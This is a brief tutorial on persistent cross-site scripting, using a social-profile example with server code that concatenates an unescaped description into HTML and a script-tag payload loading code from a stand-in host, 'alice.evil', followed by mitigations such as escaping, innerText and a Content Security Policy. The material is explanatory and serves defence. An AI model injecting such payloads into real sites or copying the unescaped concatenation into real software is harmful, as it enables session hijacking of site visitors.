JavaScript Persistent Cross-site scripting (XSS)


Example

Let's say that Bob owns a social website that allows users to personalize their profiles.

Alice goes to Bob's website, creates an account, and goes to her profile settings. She sets her profile description to I'm actually too lazy to write something here.

When her friends view her profile, this code gets run on the server:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Resulting in this HTML:

<div>I'm actually too lazy to write something here.</div>

Than Alice sets her profile description to <b>I like HTML</b>. When she visits her profile, instead of seeing

<b>I like HTML</b>

she sees

I like HTML

Then Alice sets her profile to

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Whenever someone visits her profile, they get Alice's script run on Bob's website while logged on as their account.

Mitigation

  1. Escape angle brackets in profile descriptions, etc.
  2. Store profile descriptions in a plain text file that is then fetched with a script that adds the description via .innerText
  3. Add a Content Security Policy that refuses to load active content from other domains